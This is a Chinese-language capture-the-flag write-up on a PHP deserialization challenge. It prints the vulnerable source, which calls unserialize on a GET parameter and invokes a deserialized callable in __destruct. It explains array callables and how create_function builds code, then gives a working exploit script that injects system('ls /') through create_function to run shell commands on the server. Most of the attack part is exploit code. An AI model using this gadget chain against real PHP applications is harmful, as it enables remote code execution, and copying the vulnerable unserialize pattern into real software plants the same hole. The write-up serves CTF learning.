题目链接
页面源码
- 关键点: unserialize($this->key)();
- 做题做魔怔了 一开始就在想类对象加括号是调用了什么 实际上字符串也可以被序列化&反序列化
- 若将”phpinfo”序列化后传输 则会执行 phpinfo();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php error_reporting(0); highlight_file(__FILE__); $pwd=getcwd(); class func { public $mod1; public $mod2; public $key; public function __destruct() { unserialize($this->key)(); $this->mod2 = "welcome ".$this->mod1; } }
class GetFlag { public $code; public $action; public function get_flag(){ $a=$this->action; $a('', $this->code); } } unserialize($_GET[0]); ?>
|
尝试执行phpinfo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php
class func { public $mod1 = "a"; public $mod2 = "b"; public $key; }
class GetFlag { public $code; public $action; } $a = new func; $a -> key = serialize("phpinfo");
echo serialize($a) . "\n";
|
php数组特性
当一个数组被当作函数调用时 如果数组第一个元素为类对象 第二个元素为这个对象内的方法名 那么就会调用该对象下的该方法
思路:
- 让 $a->key=serialize([new GetFlag, “get_flag”])
- 设置$action为create_function 并构造code 执行
create_function
功能
create_function()会创建一个匿名函数(lambda_样式)函数名是以lambda开头的一个自增的函数名
1 2 3 4 5 6 7 8
| create_function('$a, $b','echo ($a+$b);');
function lambda_1($a,$b){ echo ($a+$b); }
$f= create_function('$a, $b','echo ($a+$b);'); $f(1, 2);
|
底层实现
对用户传入参数function_args,function_code
进行拼接构造
1 2 3
| function __lambda_func ( function_args ) { function_code } \0;
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
class func { public $mod1 = "a"; public $mod2 = "b"; public $key; }
class GetFlag { public $code = ';}system("ls /");//'; public $action = "create_function"; } $a = new func; $a->key= serialize([new GetFlag, "get_flag"]);
echo serialize($a) . "\n";
|